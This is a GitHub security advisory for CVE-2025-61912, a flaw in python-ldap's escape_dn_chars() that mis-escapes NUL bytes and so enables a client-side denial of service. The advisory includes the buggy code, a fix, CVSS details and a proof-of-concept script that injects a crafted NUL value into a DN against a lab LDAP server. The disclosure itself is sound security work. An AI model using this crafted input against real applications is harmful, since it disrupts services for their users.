Skip to content

python-ldap is Vulnerable to Improper Encoding or Escaping of Output and Improper Null Termination

Moderate severity GitHub Reviewed Published Oct 10, 2025 in python-ldap/python-ldap • Updated Oct 13, 2025

Package

pip python-ldap (pip)

Affected versions

< 3.4.5

Patched versions

3.4.5

Description

Summary

ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.

Details

Affected function: ldap.dn.escape_dn_chars(s)

File: Lib/ldap/dn.py

Buggy behavior:
For NUL, the function does:

s = s.replace('\000', '\\\000') # backslash + literal NUL

This produces Python strings which, when passed to python-ldap APIs (e.g., add_s, modify_s, rename_s, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.
With correct RFC-4514 encoding (\00), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.

Why it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.

Standards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.

Minimal fix: Escape NUL as hex:

s = s.replace('\x00', r'\00')

PoC

Prereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.

from ldap.dn import escape_dn_chars, str2dn

l = ldap.initialize("ldap://10.0.1.11")              # your lab DC/LDAP
l.protocol_version = 3
l.set_option(ldap.OPT_REFERRALS, 0)
l.simple_bind_s(r"DSEC\dani.aga", "PassAa1")         

# --- Attacker-controlled value contains NUL ---
cn = "bad\0name"
escaped_cn = escape_dn_chars(cn)
dn = f"CN={escaped_cn},OU=Users,DC=dsec,DC=local"
attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]

print("=== BUGGY DN (contains literal NUL) ===")
print("escaped_cn repr:", repr(escaped_cn))
print("dn repr:", repr(dn))
print("contains NUL?:", "\x00" in dn, "at index:", dn.find("\x00"))

print("=> add_s(buggy DN): expected client-side failure (no server contact)")
try:
    l.add_s(dn, attrs)
    print("add_s(buggy): succeeded (unexpected)")
except Exception as e:
    print("add_s(buggy):", type(e).__name__, e)  # ValueError: embedded null character

# --- Correct hex escape demonstrates the client proceeds to the server ---
safe_dn = dn.replace("\x00", r"\00")                 # RFC 4514-compliant
print("\n=== HEX-ESCAPED DN (\\00) ===")
print("safe_dn repr:", repr(safe_dn))
print("=> sanity parse:", str2dn(safe_dn))           # parses locally

print("=> add_s(safe DN): reaches server (AD will likely reject with 34)")
try:
    l.add_s(safe_dn, attrs)
    print("add_s(safe): success (unlikely without required attrs/rights)")
except ldap.LDAPError as e:
    print("add_s(safe):", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)

Observed result (example):

add_s(buggy): ValueError embedded null character ← client-side DoS

add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME) ← request reached server; rejection due to server policy, not client bug

Impact

Type: Denial of Service (client-side).

Who is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user creation/rename tools, sync/ETL jobs, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with \x00 reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.

References

@droideck droideck published to python-ldap/python-ldap Oct 10, 2025
Published by the National Vulnerability Database Oct 10, 2025
Published to the GitHub Advisory Database Oct 10, 2025
Reviewed Oct 10, 2025
Last updated Oct 13, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(12th percentile)

Weaknesses

Improper Encoding or Escaping of Output

The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved. Learn more on MITRE.

Improper Null Termination

The product does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator. Learn more on MITRE.

CVE ID

CVE-2025-61912

GHSA ID

GHSA-p34h-wq7j-h5v6

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.